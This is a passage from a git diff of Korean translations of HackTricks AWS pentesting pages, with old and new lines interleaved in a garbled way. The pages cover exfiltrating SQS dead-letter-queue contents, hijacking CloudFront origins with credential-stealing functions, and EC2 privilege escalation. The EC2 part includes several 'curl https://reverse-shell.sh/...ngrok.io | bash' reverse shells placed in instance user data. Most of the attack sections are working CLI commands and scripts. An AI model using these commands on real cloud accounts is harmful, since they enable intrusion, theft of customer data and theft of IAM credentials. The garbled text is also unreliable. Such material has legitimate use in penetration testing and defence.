1. **E-commerce application**이 SQS를 통해 고객 주문을 처리함
|
||||
2. **일부 주문이 실패**(결제 문제, 재고 문제 등)하여 DLQ로 이동함
|
||||
3. **DLQ에 수주/수개월치의 실패한 주문이 누적**되어 고객 데이터가 포함됨: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **공격자가 AWS 자격 증명**을 탈취하고 SQS 권한을 획득함
|
||||
5. **공격자는 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견**
|
||||
6. **개별 메시지에 접근하려고 시도하는 대신**(느리고 눈에 띔) 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송
|
||||
7. **공격자는 한 번의 작업으로** 과거에 축적된 모든 민감한 데이터를 추출
|
||||
**실제 사례:**
|
||||
1. **E-commerce application**이 SQS를 통해 고객 주문을 처리한다
|
||||
2. **일부 주문이 실패한다**(결제 문제, 재고 문제 등) 그리고 DLQ로 이동한다
|
||||
3. **DLQ가 수주/수개월 동안 실패한 주문을 누적**하며 고객 데이터가 쌓인다: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **공격자가 AWS 자격 증명에 접근**하게 된다
|
||||
5. **공격자가 DLQ에 민감한 데이터가 수천 건 쌓여 있음을 발견**한다
|
||||
6. **개별 메시지에 접근하려 시도하는 대신**(느리고 눈에 띔) 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송한다
|
||||
7. **공격자가 한 번의 작업으로** 모든 과거 민감한 데이터를 추출한다
|
||||
|
||||
## Requirements
|
||||
- 소스 큐는 반드시 DLQ로 구성되어 있어야 함(적어도 하나의 큐 RedrivePolicy로 참조됨).
|
||||
- IAM 권한(피해자 주체로 실행):
|
||||
- 소스(DLQ)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됨.
|
||||
## 요구 조건
|
||||
- 소스 큐는 DLQ로 구성되어 있어야 한다(최소 하나의 큐에서 RedrivePolicy로 참조됨).
|
||||
- IAM 권한 (침해된 피해자 주체로 실행):
|
||||
- DLQ(소스)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- 대상 큐에서: 메시지 전달 권한(예: queue policy가 피해자 주체로부터의 `sqs:SendMessage`를 허용). 동일 계정의 대상인 경우 일반적으로 기본적으로 허용됨.
|
||||
- SSE-KMS가 활성화된 경우: 소스 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
DLQ에 축적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 네이티브 SQS API를 사용해 고속으로 exfiltrate할 수 있습니다. 대상 큐 정책이 피해자 주체의 `SendMessage`를 허용하면 cross-account에서도 동작합니다.
|
||||
## 영향
|
||||
네이티브 SQS API를 사용해 DLQ에 누적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 고속으로 탈취할 수 있습니다. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 크로스-계정에서도 작동합니다.
|
||||
|
||||
## How to Abuse
|
||||
## 악용 방법
|
||||
|
||||
- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음).
|
||||
- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 그 ARN을 확보합니다.
|
||||
- 피해자 DLQ에서 공격자 큐로 메시지 이동 작업을 시작합니다.
|
||||
- 피해자 DLQ ARN을 식별하고 해당 큐가 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음).
|
||||
- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 해당 큐의 ARN을 확보합니다.
|
||||
- 피해자 DLQ에서 대상 큐로 message move task를 시작합니다.
|
||||
- 진행 상황을 모니터링하거나 필요 시 취소합니다.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
### CLI 예제: E-commerce DLQ에서 고객 데이터 탈취
|
||||
|
||||
**Scenario**: 공격자가 AWS 자격 증명을 탈취했고, 전자상거래 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하고 있음을 발견함.
|
||||
**시나리오**: 공격자가 AWS 자격 증명을 탈취했고, 한 전자상거래 애플리케이션이 SQS와 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하고 있음을 발견했다.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **피해자 DLQ 발견 및 검사**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -71,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **bulk message theft 실행**
|
||||
3) **bulk message theft을 실행**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **도난당한 민감한 데이터 수집하기**
|
||||
4) **탈취한 민감한 데이터 수집**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -115,20 +115,20 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### 교차 계정 주의사항
|
||||
- 대상 큐에는 피해자 주체가 `sqs:SendMessage`를 할 수 있도록 허용하는 리소스 정책이 있어야 합니다 (사용하는 경우 KMS grants/permissions 포함).
|
||||
### 계정 간 주의사항
|
||||
- 대상 큐는 피해자 principal이 `sqs:SendMessage`을 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다 (and, if used, KMS grants/permissions).
|
||||
|
||||
## 이 공격이 효과적인 이유
|
||||
|
||||
1. **Legitimate AWS Feature**: 빌트인 AWS 기능을 사용하므로 악의적 활동으로 탐지되기 어렵습니다
|
||||
2. **Bulk Operation**: 느린 개별 접근 대신 수천 개의 메시지를 빠르게 전송합니다
|
||||
3. **Historical Data**: DLQs는 수주/수개월에 걸쳐 민감한 데이터를 축적합니다
|
||||
4. **Under the Radar**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않습니다
|
||||
5. **Cross-Account Capable**: 권한이 허용되면 공격자의 AWS 계정으로 exfiltrate할 수 있습니다
|
||||
1. **정상적인 AWS 기능**: 내장된 AWS 기능을 사용하므로 악의적인 행위로 감지되기 어려움
|
||||
2. **대량 작업**: 느리게 개별 접근하는 대신 수천 개의 메시지를 빠르게 전송
|
||||
3. **이력 데이터**: DLQs는 수주/수개월에 걸쳐 민감한 데이터를 축적함
|
||||
4. **눈에 띄지 않음**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않음
|
||||
5. **계정 간 가능**: 권한이 허용되면 공격자의 자체 AWS 계정으로 데이터를 exfiltrate할 수 있음
|
||||
|
||||
## Detection and Prevention
|
||||
## 탐지 및 방지
|
||||
|
||||
### Detection
|
||||
### 탐지
|
||||
의심스러운 `StartMessageMoveTask` API 호출을 CloudTrail에서 모니터링하세요:
|
||||
```json
|
||||
{
|
||||
@@ -145,10 +145,10 @@ done
|
||||
}
|
||||
```
|
||||
### 예방
|
||||
1. **최소 권한**: 필요한 역할에만 `sqs:StartMessageMoveTask` 권한을 제한하세요
|
||||
2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보를 설정하세요
|
||||
3. **교차 계정 정책**: 교차 계정 접근을 허용하는 SQS 큐 정책을 주의 깊게 검토하세요
|
||||
4. **DLQs 암호화**: 제한된 키 정책을 가진 SSE-KMS를 사용하세요
|
||||
5. **정기 정리**: 민감한 데이터가 DLQs에 무기한 누적되지 않도록 하세요
|
||||
1. **Least Privilege**: 필요한 역할에 대해서만 `sqs:StartMessageMoveTask` 권한을 제한하세요
|
||||
2. **Monitor DLQs**: 비정상적인 DLQ 활동에 대해 CloudWatch 알람을 설정하세요
|
||||
3. **Cross-Account Policies**: 크로스-계정 액세스를 허용하는 SQS queue 정책을 신중히 검토하세요
|
||||
4. **Encrypt DLQs**: 제한된 키 정책을 적용한 SSE-KMS를 사용하세요
|
||||
5. **Regular Cleanup**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 정기적으로 정리하세요
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,13 +6,13 @@
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
cloudfront:UpdateDistribution 및 cloudfront:GetDistributionConfig 권한을 가진 공격자는 CloudFront 배포의 구성을 수정할 수 있습니다. 공격자는 대상 S3 버킷 자체에 대한 권한이 없어도 되지만, 해당 버킷이 cloudfront.amazonaws.com 서비스 프린시펄로부터의 접근을 허용하는 관대한 정책을 가지고 있다면 공격이 더 쉬워집니다.
|
||||
`cloudfront:UpdateDistribution` 및 `cloudfront:GetDistributionConfig` 권한을 가진 공격자는 CloudFront 배포(distribution)의 구성을 수정할 수 있습니다. 공격자는 대상 S3 버킷 자체에 대한 권한이 필요하지 않지만, 해당 버킷에 cloudfront.amazonaws.com 서비스 주체(service principal)의 접근을 허용하는 관대한 정책이 설정되어 있으면 공격은 더 쉬워집니다.
|
||||
|
||||
공격자는 배포의 origin 구성(origin configuration)을 다른 S3 버킷이나 공격자가 제어하는 서버를 가리키도록 변경합니다. 먼저 현재 배포 구성을 가져옵니다:
|
||||
공격자는 배포의 origin 구성을 다른 S3 버킷이나 공격자가 제어하는 서버로 가리키도록 변경합니다. 먼저 현재 배포 구성을 가져옵니다:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
그런 다음 current-config.json을 편집하여 origin을 새 리소스를 가리키도록 지정한다 — 예를 들어, 다른 S3 버킷:
|
||||
그런 다음 current-config.json을 편집하여 origin을 새 리소스로 가리키도록 합니다 — 예를 들어 다른 S3 버킷:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
@@ -40,7 +40,7 @@ aws cloudfront get-distribution-config --id <distribution-id> | jq '.Distributio
|
||||
},
|
||||
...
|
||||
```
|
||||
마지막으로 수정된 구성을 적용합니다(업데이트 시 현재 ETag를 제공해야 합니다):
|
||||
마지막으로, 수정된 구성을 적용하세요 (업데이트할 때 현재 ETag를 제공해야 합니다):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
@@ -91,7 +91,7 @@ return response;
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# CloudFront에 악성 함수 생성
|
||||
# CloudFront에서 악성 함수 생성
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
@@ -170,10 +170,10 @@ body: JSON.stringify({ message: "Credentials stolen" })
|
||||
```
|
||||
|
||||
```bash
|
||||
# Lambda@Edge 함수 패키징
|
||||
# Lambda@Edge 함수 패키지
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# 권한이 높은 역할로 Lambda@Edge 함수 생성
|
||||
# 특권 역할로 Lambda@Edge 함수 생성
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
|
||||
```
|
||||
|
||||
```bash
|
||||
# 업데이트된 distribution config 적용 (현재 ETag 사용 필요)
|
||||
# 업데이트된 distribution 구성 적용 (현재 ETag 사용 필요)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# 배포에 요청하여 함수를 트리거
|
||||
# 배포에 요청하여 function 트리거
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
EC2에 대한 **자세한 정보**는 다음을 확인하세요:
|
||||
EC2에 대한 **정보**는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@ EC2에 대한 **자세한 정보**는 다음을 확인하세요:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
공격자는 **IAM role을 연결한 인스턴스를 생성한 뒤 해당 인스턴스에 접근**하여 메타데이터 엔드포인트에서 IAM role 자격 증명을 탈취할 수 있습니다.
|
||||
공격자는 **IAM role을 연결한 instance를 생성하고 이후 해당 instance에 접근**하여 metadata endpoint에서 IAM role 자격증명을 탈취할 수 있습니다.
|
||||
|
||||
- **SSH를 통한 접근**
|
||||
|
||||
새 인스턴스를 **생성된** **ssh 키** (`--key-name`)로 실행한 뒤 ssh로 접속하세요 (새 키를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다).
|
||||
새 instance를 실행할 때 **생성된** **ssh key** (`--key-name`)를 사용하고 ssh로 접속합니다 (새 key를 생성하려면 `ec2:CreateKeyPair` 권한이 필요할 수 있습니다).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **user data에서 rev shell로 접근**
|
||||
- **user data에 있는 rev shell을 통한 접근**
|
||||
|
||||
새 instance를 **user data** (`--user-data`)로 실행하면 **rev shell**을 보내도록 할 수 있습니다. 이 방법으로는 security group을 지정할 필요가 없습니다.
|
||||
이 방법으로 당신에게 **rev shell**을 전송할 **user data** (`--user-data`)를 사용해 새로운 인스턴스를 실행할 수 있습니다. 이 방법에서는 security group을 지정할 필요가 없습니다.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
이 권한들로 **create an EC2 instance and register it inside an ECS cluster**할 수도 있습니다. 이렇게 하면 접근 가능한 **EC2 instance** 내부에서 ECS **services**가 **run**되며, 이후 해당 서비스들 (docker containers)을 침투해 **steal their ECS roles attached**할 수 있습니다.
|
||||
이 권한으로 **create an EC2 instance and register it inside an ECS cluster**할 수도 있습니다. 이렇게 하면, 접근 가능한 해당 **EC2 instance** 내부에서 ECS **services**가 **run**되고, 그 서비스들(docker containers)에 침투하여 **steal their ECS roles attached**할 수 있습니다.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
이 새로운 EC2 인스턴스에서 **ECS 서비스를 실행하도록 강제하는 방법**을 알아보려면 다음을 확인하세요:
|
||||
To learn how to **ECS 서비스를 강제로 실행시키는 방법** in this new EC2 instance check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
만약 **새 인스턴스를 생성할 수 없다면** 권한 `ecs:RegisterContainerInstance`가 있다면 클러스터에 인스턴스를 등록하고 앞서 언급한 공격을 수행할 수 있습니다.
|
||||
If you **새 인스턴스를 생성할 수 없다** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
|
||||
**잠재적 영향:** 작업에 연결된 ECS 역할로의 직접 privesc.
|
||||
**Potential Impact:** 태스크에 연결된 ECS 역할로의 직접 privesc.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
앞의 시나리오와 마찬가지로, 이러한 권한을 가진 공격자는 **침해된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\
|
||||
인스턴스 프로파일은 하나의 역할만 가질 수 있기 때문에, 인스턴스 프로파일에 **이미 역할이 있는 경우**(일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
|
||||
Similar to the previous scenario, an attacker with these permissions could **침해된 인스턴스의 IAM 역할을 변경할 수** so he could steal new credentials.\
|
||||
As an instance profile can only have 1 role, if the instance profile **이미 역할이 있는 경우** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,35 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
만약 **instance profile에 role이 있고** attacker가 **그것을 제거할 수 없다면**, 다른 우회 방법이 있습니다. 그는 **role이 없는 instance profile을 찾거나** **새로운 instance profile을 생성할 수 있습니다** (`iam:CreateInstanceProfile`), 그 **instance profile에 role을 추가**(앞서 설명한 대로)한 뒤, **그 instance profile을 침해된 i**nstance에 연관(associate)**할 수 있습니다:
|
||||
만약 **instance profile has a role**이고 attacker가 **cannot remove it**면, 다른 우회 방법이 있습니다.
|
||||
그는 **find** an **instance profile without a role** 또는 **create a new one** (`iam:CreateInstanceProfile`)을 할 수 있고, 앞서 설명한 것처럼 그 **instance profile**에 **role**을 **add**한 뒤, 그 **associate the instance profile**를 compromised된 i**nstance:**에 연결할 수 있습니다:
|
||||
|
||||
- 만약 instance가 **어떠한 instance profile도 가지고 있지 않다면** (`ec2:AssociateIamInstanceProfile`)
|
||||
- 해당 instance가 **doesn't have any instance** profile인 경우 (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**잠재적 영향:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
**Potential Impact:** Direct privesc to a different EC2 role (해당 공격을 수행하려면 AWS EC2 인스턴스를 이미 침해했고 일부 추가 권한이나 특정 instance profile 상태가 필요합니다).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근한 상태라면 연결된 instance profile을 변경하여 더 많은 instance profile 역할의 자격 증명을 탈취할 수 있습니다.
|
||||
이 권한들이 있으면 인스턴스에 연결된 instance profile을 변경할 수 있습니다. 따라서 공격자가 이미 인스턴스에 접근해 있었다면, 연결된 instance profile을 교체하여 더 많은 instance profile 역할의 자격증명(credentials)을 탈취할 수 있습니다.
|
||||
|
||||
- 만약 해당 인스턴스에 **instance profile**이 있다면, 인스턴스의 instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 다시 **연결**할 수 있습니다
|
||||
- 인스턴스에 **instance profile**이 있으면, instance profile을 **제거**(`ec2:DisassociateIamInstanceProfile`)하고 **연결**할 수 있습니다
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- 또는 손상된 인스턴스의 **instance profile**을 **replace**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- 또는 침해된 인스턴스의 **instance profile**을 **교체**합니다 (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**잠재적 영향:** 다른 EC2 role로의 직접적인 privesc (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
**잠재적 영향:** 다른 EC2 역할로의 직접 privesc(공격자는 AWS EC2 instance를 이미 침해했으며 추가 권한이나 특정 instance profile 상태가 필요합니다).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
해당 권한(**`ec2:RequestSpotInstances`and`iam:PassRole`**)을 가진 공격자는 **Spot Instance**를 **request**하여 **EC2 Role attached** 상태로 만들고 **user data**에 **rev shell**을 넣을 수 있습니다.\
|
||||
인스턴스가 실행되면 공격자는 **IAM role**을 **steal**할 수 있습니다.
|
||||
권한 **`ec2:RequestSpotInstances`and`iam:PassRole`**을 가진 공격자는 **Spot Instance**에 **EC2 Role attached** 상태로 **user data**에 **rev shell**을 넣어 **요청**할 수 있습니다.\
|
||||
인스턴스가 실행되면, 공격자는 **IAM role을 탈취할 수 있습니다.**
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +120,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
공격자가 **`ec2:ModifyInstanceAttribute`** 권한을 가지고 있으면 인스턴스의 속성을 수정할 수 있습니다. 그중 인스턴스의 **change the user data**를 변경할 수 있으며, 이는 인스턴스가 **run arbitrary data.** 하도록 만들어 **rev shell to the EC2 instance**를 얻는 데 사용될 수 있습니다.
|
||||
`ec2:ModifyInstanceAttribute` 권한을 가진 공격자는 인스턴스의 속성을 수정할 수 있습니다. 그중에서 **user data를 변경**할 수 있어, 인스턴스가 **임의의 코드를 실행**하도록 만들 수 있습니다. 이는 **rev shell to the EC2 instance**를 얻는 데 사용될 수 있습니다.
|
||||
|
||||
속성은 인스턴스가 중지된 동안에만 **modified while the instance is stopped** 수 있으니, 따라서 **permissions**로 **`ec2:StopInstances`** 및 **`ec2:StartInstances`** 권한이 필요합니다.
|
||||
참고: 속성은 인스턴스가 중지된 동안에만 **수정될 수 있으므로**, 따라서 **`ec2:StopInstances`** 및 **`ec2:StartInstances`** 권한이 필요합니다.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +159,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**잠재적 영향:** 생성된 인스턴스에 연결된 모든 EC2 IAM Role에 대한 직접적인 privesc.
|
||||
**잠재적 영향:** 생성된 인스턴스에 연결된 어떤 EC2 IAM Role에도 직접적인 privesc.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
권한 **`ec2:CreateLaunchTemplateVersion`, `ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`**을(를) 가진 공격자는 **새로운 Launch Template 버전**을 생성하여 **user data에 rev shell을 포함시키고**, 그 템플릿에 **임의의 EC2 IAM Role**을 할당한 뒤 기본 버전을 변경할 수 있습니다. 이후 해당 **Launch Template을 사용하는 모든 Autoscaler group**이 **latest** 또는 **default version** 사용으로 구성되어 있으면 템플릿을 이용해 인스턴스를 재실행(re-run)하면서 rev shell이 실행됩니다.
|
||||
권한 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`**을(를) 가진 공격자는 **new Launch Template version**을 생성하여 **rev shell in** the **user data**와 **any EC2 IAM Role on it**을 포함시키고 기본 버전을 변경할 수 있으며, 해당 **Launch Templat**e를 **using**하는 **any Autoscaler group**이 **configured**되어 **latest** 또는 **default version**을 사용하도록 설정되어 있으면, 그 그룹은 해당 템플릿으로 인스턴스를 **re-run the instances**하여 rev shell을 실행합니다.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +177,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**잠재적 영향:** 다른 EC2 role로의 Direct privesc.
|
||||
**Potential Impact:** 다른 EC2 role로의 직접적인 privesc.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**을(를) 가진 공격자는 **create a Launch Configuration**를 통해 **IAM Role**과 **rev shell**을 **user data** 안에 포함시키고, 해당 구성으로부터 **create an autoscaling group**을 생성한 뒤 rev shell이 **steal the IAM Role**할 때까지 기다릴 수 있다.
|
||||
권한 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`**를 가진 공격자는 **Launch Configuration**을 **IAM Role**과 **rev shell**을 포함한 **user data**로 생성한 다음, 해당 구성으로부터 **autoscaling group**을 생성하고 rev shell이 **IAM Role**을 탈취할 때까지 기다릴 수 있다.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,28 +197,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Potential Impact:** 다른 EC2 role로 직접 privesc.
|
||||
**잠재적 영향:** Direct privesc to a different EC2 role.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** 만으로는 IAM role로 권한 상승을 하기에는 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 role을 연결하려면 **`iam:PassRole`와 `ec2:RunInstances`** 권한이 필요하기 때문입니다 (이는 알려진 privesc입니다).
|
||||
권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`**는 IAM 역할로의 권한 상승에 **충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한**이 필요합니다(이는 알려진 privesc입니다).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
권한 **`ec2-instance-connect:SendSSHPublicKey`** 를 가진 공격자는 ssh 키를 사용자에게 추가하고, (해당 공격자가 instance에 ssh 접근 권한이 있는 경우) 이를 이용해 접근하거나 권한을 상승시킬 수 있습니다.
|
||||
권한 **`ec2-instance-connect:SendSSHPublicKey`**를 가진 공격자는 사용자에게 ssh 키를 추가하고(해당 인스턴스에 대한 ssh 접근 권한이 있는 경우) 이를 이용해 접근하거나 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potential Impact:** 실행 중인 인스턴스에 연결된 EC2 IAM roles에 대한 직접적인 privesc.
|
||||
**Potential Impact:** 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접 privesc.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을 가진 공격자는 **ssh 키를 serial 연결에 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 **`ec2:EnableSerialConsoleAccess`** 권한이 필요합니다.
|
||||
권한 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`**을 가진 공격자는 **serial connection에 ssh key를 추가할 수 있습니다**. serial이 활성화되어 있지 않다면, 공격자는 이를 활성화하기 위해 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
|
||||
|
||||
시리얼 포트에 연결하려면 머신 내부의 사용자 계정에 대한 **username과 password를 알고 있어야** 합니다.
|
||||
serial 포트에 연결하려면 머신 내부 사용자 계정의 **사용자 이름과 비밀번호를 알아야 합니다**.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +230,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
